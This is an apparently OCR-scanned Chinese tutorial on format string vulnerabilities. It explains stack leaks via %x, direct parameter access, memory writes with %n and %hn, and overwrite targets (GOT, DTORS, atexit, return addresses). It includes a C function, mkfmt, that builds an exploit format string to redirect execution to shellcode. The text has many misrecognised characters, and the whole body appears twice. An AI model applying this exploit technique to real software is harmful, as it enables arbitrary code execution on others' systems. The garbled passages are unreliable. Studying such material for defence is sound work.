当printf系列函数的格式化串里包含用户提交的数据时,就有可能出现格式化串漏洞。 函数包括:
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
除了这呰函数外,其他接受C风格格式符的函数也可能存在类似风险,例如wind0ws上的wprintf函数。攻击者可能提交许多格式符(而不提供对应的变量),这样的话,栈上就没有和格式符相对应的参数,因此,系统就会用栈上的其他数据代替这些参数,从而导致信息泄漏和执行任意代码。
如前文所述,必须以格式化串的形式传递printf函数,好让printf函数确定用什么变量代替相应的格式化串,以及用什么形式输出变量。
然而,如果我们不给格式化串(格式符)提供相应的变最,将会出现奇怪的事情。例如下面这个程序,它将用命令行的参数调用printf。
按如下所示编译代码: cc fmC.c -o fmt 用如下的形式执行:
./fmt "%x %x %x %x"
将等同于在程序里用如下的形式调用printf:
printf( '%x %x %x %x");
上面的语句透露出一个重要的信息:我们提交了格式化串,却没有提供相应的代替字符串的 4个数字变最。有趣的是printf并没有报错,而是输出如下内容:
4015c98c 4001S26c bffff944 bffffSe8
口printf不知从什么地方找来了4个参数充数!事实上,这些数据来自栈。
乍看上去这似乎不是什么问题,然而,攻击者却可能利用它来获取栈上的数据。对栈本身来说这可能泄露栈上的敏感信息,如用户名、密码等。
n% 这个参数被视为指向整数的指针(或者整数变量,例如short,在这个参数之前输出 的宇符的数量将被保存到这个参数指向的地址里
如果满足下列条件,就可以利用格式化串漏洞执行任意代码。
我们能控制参数,并可以把输出的字符的数量写入内存的任意区域^
宽度格式符允许我们用任意的长度(当然可以为255个字符)填充输出因此,可以用选择的值改写单个字节.
重复上面步騵4次的话,就能改写内存中的任意48,也就是说,攻击者可以利用这个 方法改写内存地址。但是,如果把00写到内存地址中,可能会出问题,因为在C语言里00是终止符。然而,如果可以在它前面的地址写入28,那就冇可能规避这个问题。
通常来说,我们可以猜测函数指针的地址(保存的返回地址、二进制文件的导入表、C++ vtable),因此,我们可以促成系统把提交的字符串当作代码来执行。
关于格式化串攻击,有几个常见的误区需要澄清^
它们不仅仅影响*nix。
它们不必非要以栈为基础。
栈保护机制对它们通常不起作用。
用静态代码分析工具通常可以检测它们。
在绝大多数*nix平台上,可以用直接参数访问来帮忙。 注意上面的输出,从找上弹出的第三个值。
试一下下面这条命令:"%3\$x"
但是如果打印很久的数据会出错%hn能够解决这个阏题. 它只写半个整型,两个字节,那么就可以把shellcode地址分成两个部分.依次写入到 要覆盖的地址以及这个地址加2的位置.这样要打印的长度将减少很多.
报据上面调整的结果,可以构造一个所示的结构的格式串来实现攻击.,
| retloc+2 |retloc | % shaddrh-8 x| % flag $hn丨% shaddrl-shaddrh x丨 %flag+1 $hn丨
构造攻击格式串
由用shellcode的地址的半字构造打印长度來写入返回地址,那么必须注意要把小一些 的半字放在前曲,这样才能顺利覆盖返回地址。用于构建这种格式串的函数流程大致如下
void mkfmt(char *fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
int i;
unsigned int valh;
unsigned int vall;
unsigned int b0 = (retloc >> 24) & 0xff;
unsigned int b1 = (retloc >> 16) & 0xff;
unsigned int b2 = (retloc >> 8) & 0xff;
unsigned int b3 = (retloc ) & 0xff;
/* detailing the value */
valh = (shaddr >> 16) & 0xffff; //top
vall = shaddr & 0xffff; //bottom
/*
for (i = 0; i < align; i++) {
*fmtstr++ = 0x41;
}
*/
/* let's build */
if (valh < vall) {
sprintf(fmtstr,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%%uc" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%%uc" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
valh-8, /* set the value for the first %hn */
flag, /* the %hn for the high part */
vall-valh, /* set the value for the second %hn */
flag+1 /* the %hn for the low part */
);
} else {
sprintf(fmtstr,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%%uc" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%%uc" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
vall-8, /* set the value for the first %hn */
flag+1, /* the %hn for the high part */
valh-vall, /* set the value for the second %hn */
flag /* the %hn for the low part */
);
}
//*
for (i = 0; i < align; i++) {
strcat(fmtstr, "A");
}
//*/
}
示例的程序有些特別,由于格式串并不是复制过去的,所以对齐字符串要放在格式串的后面。格式串漏洞利用的要素是以下几点:
• 覆盖获得控制的地址
• printf参数地址到自定义的格式串数据地址直接的距离
• 格式串数据没有4字节对齐的偏移
• Shellcode 地址
可以用来覆盖获得控制的地址有以下几种:
全局偏移表(GOT)(动态重定位对函数,如果某些人使用的二进制文件与你的一样,那 就太好了,比如rpm:
析构函数(DTORS)表(函数在退出前将调用析构函数);
C函数库钩子,
atexit结构;
所有其他的函数指针,例如C ++ vtable、冋调函数等;
windows里默认未处理的异常处理程序,它几乎总是在同一地址
堆栈中的函数返回地址
覆盖 dl_lookup_versioned_symbol
其实搏盖dl_lookup_versioned_symbol也是覆盖GOT技术.只不过是ld的GOT。
详细的dtors的利用程序可以参考《网络渗透技术》347-352页
snprintf
vfprintf
vprintf
vsprintf
vsnprintf
除了这呰函数外,其他接受C风格格式符的函数也可能存在类似风险,例如wind0ws上的wprintf函数。攻击者可能提交许多格式符(而不提供对应的变量),这样的话,栈上就没有和格式符相对应的参数,因此,系统就会用栈上的其他数据代替这些参数,从而导致信息泄漏和执行任意代码。
如前文所述,必须以格式化串的形式传递printf函数,好让printf函数确定用什么变量代替相应的格式化串,以及用什么形式输出变量。
然而,如果我们不给格式化串(格式符)提供相应的变最,将会出现奇怪的事情。例如下面这个程序,它将用命令行的参数调用printf。
按如下所示编译代码: cc fmC.c -o fmt 用如下的形式执行:
./fmt "%x %x %x %x"
将等同于在程序里用如下的形式调用printf:
printf( '%x %x %x %x");
上面的语句透露出一个重要的信息:我们提交了格式化串,却没有提供相应的代替字符串的 4个数字变最。有趣的是printf并没有报错,而是输出如下内容:
4015c98c 4001S26c bffff944 bffffSe8
口printf不知从什么地方找来了4个参数充数!事实上,这些数据来自栈。
乍看上去这似乎不是什么问题,然而,攻击者却可能利用它来获取栈上的数据。对栈本身来说这可能泄露栈上的敏感信息,如用户名、密码等。
n% 这个参数被视为指向整数的指针(或者整数变量,例如short,在这个参数之前输出 的宇符的数量将被保存到这个参数指向的地址里
如果满足下列条件,就可以利用格式化串漏洞执行任意代码。
我们能控制参数,并可以把输出的字符的数量写入内存的任意区域^
宽度格式符允许我们用任意的长度(当然可以为255个字符)填充输出因此,可以用选择的值改写单个字节.
重复上面步騵4次的话,就能改写内存中的任意48,也就是说,攻击者可以利用这个 方法改写内存地址。但是,如果把00写到内存地址中,可能会出问题,因为在C语言里00是终止符。然而,如果可以在它前面的地址写入28,那就冇可能规避这个问题。
通常来说,我们可以猜测函数指针的地址(保存的返回地址、二进制文件的导入表、C++ vtable),因此,我们可以促成系统把提交的字符串当作代码来执行。
关于格式化串攻击,有几个常见的误区需要澄清^
它们不仅仅影响*nix。
它们不必非要以栈为基础。
栈保护机制对它们通常不起作用。
用静态代码分析工具通常可以检测它们。
在绝大多数*nix平台上,可以用直接参数访问来帮忙。 注意上面的输出,从找上弹出的第三个值。
试一下下面这条命令:"%3\$x"
但是如果打印很久的数据会出错%hn能够解决这个阏题. 它只写半个整型,两个字节,那么就可以把shellcode地址分成两个部分.依次写入到 要覆盖的地址以及这个地址加2的位置.这样要打印的长度将减少很多.
报据上面调整的结果,可以构造一个所示的结构的格式串来实现攻击.,
| retloc+2 |retloc | % shaddrh-8 x| % flag $hn丨% shaddrl-shaddrh x丨 %flag+1 $hn丨
构造攻击格式串
由用shellcode的地址的半字构造打印长度來写入返回地址,那么必须注意要把小一些 的半字放在前曲,这样才能顺利覆盖返回地址。用于构建这种格式串的函数流程大致如下
void mkfmt(char *fmtstr, u_long retloc, u_long shaddr, int align, int flag)
{
int i;
unsigned int valh;
unsigned int vall;
unsigned int b0 = (retloc >> 24) & 0xff;
unsigned int b1 = (retloc >> 16) & 0xff;
unsigned int b2 = (retloc >> 8) & 0xff;
unsigned int b3 = (retloc ) & 0xff;
/* detailing the value */
valh = (shaddr >> 16) & 0xffff; //top
vall = shaddr & 0xffff; //bottom
/*
for (i = 0; i < align; i++) {
*fmtstr++ = 0x41;
}
*/
/* let's build */
if (valh < vall) {
sprintf(fmtstr,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%%uc" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%%uc" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
valh-8, /* set the value for the first %hn */
flag, /* the %hn for the high part */
vall-valh, /* set the value for the second %hn */
flag+1 /* the %hn for the low part */
);
} else {
sprintf(fmtstr,
"%c%c%c%c" /* high address */
"%c%c%c%c" /* low address */
"%%%uc" /* set the value for the first %hn */
"%%%d$hn" /* the %hn for the high part */
"%%%uc" /* set the value for the second %hn */
"%%%d$hn" /* the %hn for the low part */
,
b3+2, b2, b1, b0, /* high address */
b3, b2, b1, b0, /* low address */
vall-8, /* set the value for the first %hn */
flag+1, /* the %hn for the high part */
valh-vall, /* set the value for the second %hn */
flag /* the %hn for the low part */
);
}
//*
for (i = 0; i < align; i++) {
strcat(fmtstr, "A");
}
//*/
}
示例的程序有些特別,由于格式串并不是复制过去的,所以对齐字符串要放在格式串的后面。格式串漏洞利用的要素是以下几点:
• 覆盖获得控制的地址
• printf参数地址到自定义的格式串数据地址直接的距离
• 格式串数据没有4字节对齐的偏移
• Shellcode 地址
可以用来覆盖获得控制的地址有以下几种:
全局偏移表(GOT)(动态重定位对函数,如果某些人使用的二进制文件与你的一样,那 就太好了,比如rpm:
析构函数(DTORS)表(函数在退出前将调用析构函数);
C函数库钩子,
atexit结构;
所有其他的函数指针,例如C ++ vtable、冋调函数等;
windows里默认未处理的异常处理程序,它几乎总是在同一地址
堆栈中的函数返回地址
覆盖 dl_lookup_versioned_symbol
其实搏盖dl_lookup_versioned_symbol也是覆盖GOT技术.只不过是ld的GOT。
详细的dtors的利用程序可以参考《网络渗透技术》347-352页